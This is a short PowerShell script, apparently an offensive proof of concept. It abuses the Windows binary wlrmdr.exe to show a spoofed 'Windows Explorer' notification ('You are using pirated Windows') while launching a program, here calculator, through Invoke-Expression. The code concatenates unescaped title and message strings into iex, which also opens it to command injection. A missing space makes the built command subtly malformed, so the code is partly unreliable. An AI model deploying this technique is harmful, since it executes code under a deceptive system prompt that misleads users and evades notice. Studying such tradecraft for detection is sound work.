function Invoke-Wlrmdr { [CmdletBinding()] Param ( [Parameter(Mandatory = $True, Position = 0)] [String] $Message = "You are using pirated Windows", [Parameter(Mandatory = $True, Position = 1)] [String] $IconType = 'Key', [Parameter(Mandatory = $True, Position = 2)] [String] $Title = 'Windows Explorer' ) $command = "wlrmdr.exe -s 60000 -f " $Iaintgotnotype = switch ($IconType) { "Critical" {6} "Exclamation" {5} "Information" {1} "Key" {4} "None" {0} default {0} } $command += $Iaintgotnotype $command += "-t " $command += $Title $command += " -m " $command += $Message $command += " -a 10 -u calc" iex $command } Invoke-Wlrmdr